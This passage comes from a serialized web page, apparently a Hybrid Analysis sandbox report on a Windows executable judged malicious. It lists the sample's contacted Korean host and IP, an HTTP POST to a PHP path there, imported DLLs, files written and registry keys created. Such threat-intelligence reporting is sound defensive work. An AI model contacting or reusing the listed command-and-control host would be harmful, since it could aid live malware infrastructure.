bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","submit_name":"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c.exe","analysis_start_time":"2019-03-26T11:21:55+00:00","indicators_count":{"informative":4,"suspicious":8,"malicious":3},"tags":["Sample not shared"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"119.207.79.31","port":80,"protocol":"TCP","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}],"dns_resolutions":[{"domain":"youngs.dgweb.kr","address":"119.207.79.31","ttl":21599,"country":"Korea, Republic of","registrar_name":"KSHOSTING inc(http://www.ksdom.kr)","registrar_name_servers":"ns1.nccj.co.kr","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"domain":"youngs.dgweb.kr:80","address":"119.207.79.31","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}],"http_requests":[{"host":"youngs.dgweb.kr","host_ip":"119.207.79.31:80","url":"/skin15/include/bin/visab.php","method":"POST","header":"POST /skin15/include/bin/visab.php HTTP/1.1\nHost: youngs.dgweb.kr:80\nContent-type: multipart/form-data;boundary=-----------------------------00057b800785f\nContent-Length: 1057","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"}],"processes":[{"pid":3292,"ppid":0,"name":"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c.exe","command_line":"","sha256":"fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c","normalized_path":"C:\\fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c.exe","uid":"00024990-00003292","icon":"$27"}],"all_imported_dlls":["nlaapi.dll","rpcrt4.dll","api-ms-win-downlevel-user32-l1-1-0.dll","msctf.dll","mswsock.dll","ntdll.dll","lpk.dll","usp10.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","normaliz.dll","iertutil.dll","ws2_32.dll","advapi32.dll","api-ms-win-downlevel-version-l1-1-0.dll","profapi.dll","imm32.dll","sspicli.dll","winrnr.dll","winnsi.dll","version.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","msvcr100.dll","pnrpnsp.dll","kernel32.dll","IPHLPAPI.DLL","msvcrt.dll","gdi32.dll","dhcpcsvc.dll","sechost.dll","nsi.dll","psapi.dll","KernelBase.dll","shlwapi.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","NapiNSP.dll","dnsapi.dll","wininet.dll","rasadhlp.dll","user32.dll","userenv.dll","webio.dll","wow64.dll","ole32.dll","cryptbase.dll","wow64win.dll","wow64cpu.dll","shell32.dll","WSHTCPIP.DLL","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","winhttp.dll","wship6.dll","FWPUCLNT.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5c9a0d790288384f531ac18d"},{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5c9a0d7903883831451ac18e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["5c9a0d7903883831451ac18e","5c9a0d790288384f531ac18d"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Malware Sample fa7c09036e54… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample fa7c09036e54…. Malware family: Malware. Threat score 100/100. 21/28 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample fa7c09036e54… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample fa7c09036e54…. Malware family: Malware. Threat score 100/100. 21/28 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample fa7c09036e54… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample fa7c09036e54…. Malware family: Malware. Threat score 100/100. 21/28 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L28","11",{}]]